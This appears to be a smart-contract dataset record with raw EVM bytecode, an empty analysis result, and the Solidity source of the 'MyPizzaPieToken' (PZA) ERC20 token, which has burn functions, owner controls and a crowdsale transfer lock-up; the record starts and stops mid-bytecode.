151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109bc565b005b6103846004803603602081101561036b57600080fd5b81019080803560ff169060200190929190505050610ac3565b005b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba7565b6040518082815260200191505060405180910390f35b6103e6610bef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042657808201518184015260208101905061040b565b50505050905090810190601f1680156104535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ad6004803603604081101561047757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c91565b604051808215151515815260200191505060405180910390f35b610513600480360360408110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b6106846004803603606081101561054357600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561060157600080fd5b82018360208201111561061357600080fd5b8035906020019184602083028401116401000000008311171561063557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d7c565b005b6106d56004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610edf565b005b610739600480360360408110156106ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe6110ef565b84846110f7565b6001905092915050565b6000600354905090565b60006108268484846112ee565b6108e7846108326110ef565b6108e285604051806060016040528060288152602001611bbd60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108986110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006109b26109166110ef565b846109ad85600160006109276110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6110f7565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b670de0b6b3a76400008160ff160267ffffffffffffffff1660098190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c875780601f10610c5c57610100808354040283529160200191610c87565b820191906000526020600020905b815481529060010190602001808311610c6a57829003601f168201915b5050505050905090565b6000610d54610c9e6110ef565b84610d4f85604051806060016040528060258152602001611c2e6025913960016000610cc86110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b6001905092915050565b6000610d72610d6b6110ef565b84846112ee565b6001905092915050565b60008090505b8251811015610ed957600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ecc57610e11838281518110610df057fe5b6020026020010151838381518110610e0457fe5b6020026020010151610d5e565b508360ff16811015610ecb57600160086000858481518110610e2f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610eca838281518110610e9757fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546110f7565b5b5b8080600101915050610d82565b50505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008160ff16111561100b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611064565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611c0a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611b756022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561139d5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114195750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611426575060095481115b1561157e57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114d45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115285750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561164a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156116915781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611740576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156117c6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561184c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611b526023913960400191505060405180910390fd5b611857868686611b4c565b6118c284604051806060016040528060268152602001611b97602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611955846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b6000838311158290611ab1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a76578082015181840152602081019050611a5b565b50505050905090810190601f168015611aa35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611b42576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212206ebfe8458d8a81f3e7db3fa1bbc3056792dac55f9aca3cc4a96175637b06fc2f64736f6c63430006060033
|
{"success": true, "error": null, "results": {}}
| 8,659 |
0xc5e71a0f21b6f546e572a8ea00bcee206d5b642c
|
pragma solidity ^0.4.11;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable
*
* @dev Standard ERC20 token
*/
contract Burnable is StandardToken {
using SafeMath for uint;
/* This notifies clients about the amount burnt */
event Burn(address indexed from, uint value);
function burn(uint _value) returns (bool success) {
require(_value > 0 && balances[msg.sender] >= _value);
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint _value) returns (bool success) {
require(_from != 0x0 && _value > 0 && balances[_from] >= _value);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Burn(_from, _value);
return true;
}
function transfer(address _to, uint _value) returns (bool success) {
require(_to != 0x0); //use burn
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) returns (bool success) {
require(_to != 0x0); //use burn
return super.transferFrom(_from, _to, _value);
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
/**
* @title MyPizzaPieToken
*
* @dev Burnable Ownable ERC20 token
*/
contract MyPizzaPieToken is Burnable, Ownable {
string public constant name = "MyPizzaPie Token";
string public constant symbol = "PZA";
uint8 public constant decimals = 18;
uint public constant INITIAL_SUPPLY = 81192000 * 1 ether;
/* The finalizer contract that allows unlift the transfer limits on this token */
address public releaseAgent;
/** A crowdsale contract can release us to the wild if ICO success. If false we are are in transfer lock up period.*/
bool public released = false;
/** Map of agents that are allowed to transfer tokens regardless of the lock down period. These are crowdsale contracts and possible the team multisig itself. */
mapping (address => bool) public transferAgents;
/**
* Limit token transfer until the crowdsale is over.
*
*/
modifier canTransfer(address _sender) {
require(released || transferAgents[_sender]);
_;
}
/** The function can be called only before or after the tokens have been released */
modifier inReleaseState(bool releaseState) {
require(releaseState == released);
_;
}
/** The function can be called only by a whitelisted release agent. */
modifier onlyReleaseAgent() {
require(msg.sender == releaseAgent);
_;
}
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
function MyPizzaPieToken() {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
/**
* Set the contract that can call release and make the token transferable.
*
* Design choice. Allow reset the release agent to fix fat finger mistakes.
*/
function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public {
require(addr != 0x0);
// We don't do interface check here as we might want to a normal wallet address to act as a release agent
releaseAgent = addr;
}
function release() onlyReleaseAgent inReleaseState(false) public {
released = true;
}
/**
* Owner can allow a particular address (a crowdsale contract) to transfer tokens despite the lock up period.
*/
function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public {
require(addr != 0x0);
transferAgents[addr] = state;
}
function transfer(address _to, uint _value) canTransfer(msg.sender) returns (bool success) {
// Call Burnable.transfer()
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) canTransfer(_from) returns (bool success) {
// Call Burnable.transferForm()
return super.transferFrom(_from, _to, _value);
}
function burn(uint _value) onlyOwner returns (bool success) {
return super.burn(_value);
}
function burnFrom(address _from, uint _value) onlyOwner returns (bool success) {
return super.burnFrom(_from, _value);
}
}
|
0x608060405260043610610133576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806302f652a31461013857806306fdde0314610187578063095ea7b31461021757806318160ddd1461027c57806323b872dd146102a757806329ff4f531461032c5780632ff2e9dc1461036f578063313ce5671461039a57806342966c68146103cb578063661884631461041057806370a0823114610475578063715018a6146104cc57806379cc6790146104e3578063867c28571461054857806386d1a69f146105a35780638da5cb5b146105ba57806395d89b411461061157806396132521146106a1578063a9059cbb146106d0578063d1f276d314610735578063d73dd6231461078c578063dd62ed3e146107f1578063f2fde38b14610868575b600080fd5b34801561014457600080fd5b50610185600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035151590602001909291905050506108ab565b005b34801561019357600080fd5b5061019c6109ac565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101dc5780820151818401526020810190506101c1565b50505050905090810190601f1680156102095780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561022357600080fd5b50610262600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109e5565b604051808215151515815260200191505060405180910390f35b34801561028857600080fd5b50610291610ad7565b6040518082815260200191505060405180910390f35b3480156102b357600080fd5b50610312600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ae1565b604051808215151515815260200191505060405180910390f35b34801561033857600080fd5b5061036d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b68565b005b34801561037b57600080fd5b50610384610c52565b6040518082815260200191505060405180910390f35b3480156103a657600080fd5b506103af610c61565b604051808260ff1660ff16815260200191505060405180910390f35b3480156103d757600080fd5b506103f660048036038101908080359060200190929190505050610c66565b604051808215151515815260200191505060405180910390f35b34801561041c57600080fd5b5061045b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610cd4565b604051808215151515815260200191505060405180910390f35b34801561048157600080fd5b506104b6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f65565b6040518082815260200191505060405180910390f35b3480156104d857600080fd5b506104e1610fad565b005b3480156104ef57600080fd5b5061052e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110b2565b604051808215151515815260200191505060405180910390f35b34801561055457600080fd5b50610589600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611122565b604051808215151515815260200191505060405180910390f35b3480156105af57600080fd5b506105b8611142565b005b3480156105c657600080fd5b506105cf6111df565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561061d57600080fd5b50610626611205565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561066657808201518184015260208101905061064b565b50505050905090810190601f1680156106935780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156106ad57600080fd5b506106b661123e565b604051808215151515815260200191505060405180910390f35b3480156106dc57600080fd5b5061071b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611251565b604051808215151515815260200191505060405180910390f35b34801561074157600080fd5b5061074a6112d6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561079857600080fd5b506107d7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506112fc565b604051808215151515815260200191505060405180910390f35b3480156107fd57600080fd5b50610852600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114f8565b6040518082815260200191505060405180910390f35b34801561087457600080fd5b506108a9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061157f565b005b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561090757600080fd5b6000600460149054906101000a900460ff16151581151514151561092a57600080fd5b60008373ffffffffffffffffffffffffffffffffffffffff161415151561095057600080fd5b81600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505050565b6040805190810160405280601081526020017f4d7950697a7a6150696520546f6b656e0000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b600083600460149054906101000a900460ff1680610b485750600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1515610b5357600080fd5b610b5e8585856116d7565b9150509392505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610bc457600080fd5b6000600460149054906101000a900460ff161515811515141515610be757600080fd5b60008273ffffffffffffffffffffffffffffffffffffffff1614151515610c0d57600080fd5b81600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b6a43291323b12b96e900000081565b601281565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610cc457600080fd5b610ccd82611712565b9050919050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610de5576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e79565b610df8838261187190919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561100957600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561111057600080fd5b61111a838361188a565b905092915050565b60056020528060005260406000206000915054906101000a900460ff1681565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561119e57600080fd5b6000600460149054906101000a900460ff1615158115151415156111c157600080fd5b6001600460146101000a81548160ff02191690831515021790555050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f505a41000000000000000000000000000000000000000000000000000000000081525081565b600460149054906101000a900460ff1681565b600033600460149054906101000a900460ff16806112b85750600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15156112c357600080fd5b6112cd8484611ba7565b91505092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061138d82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611be090919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffffffffffffff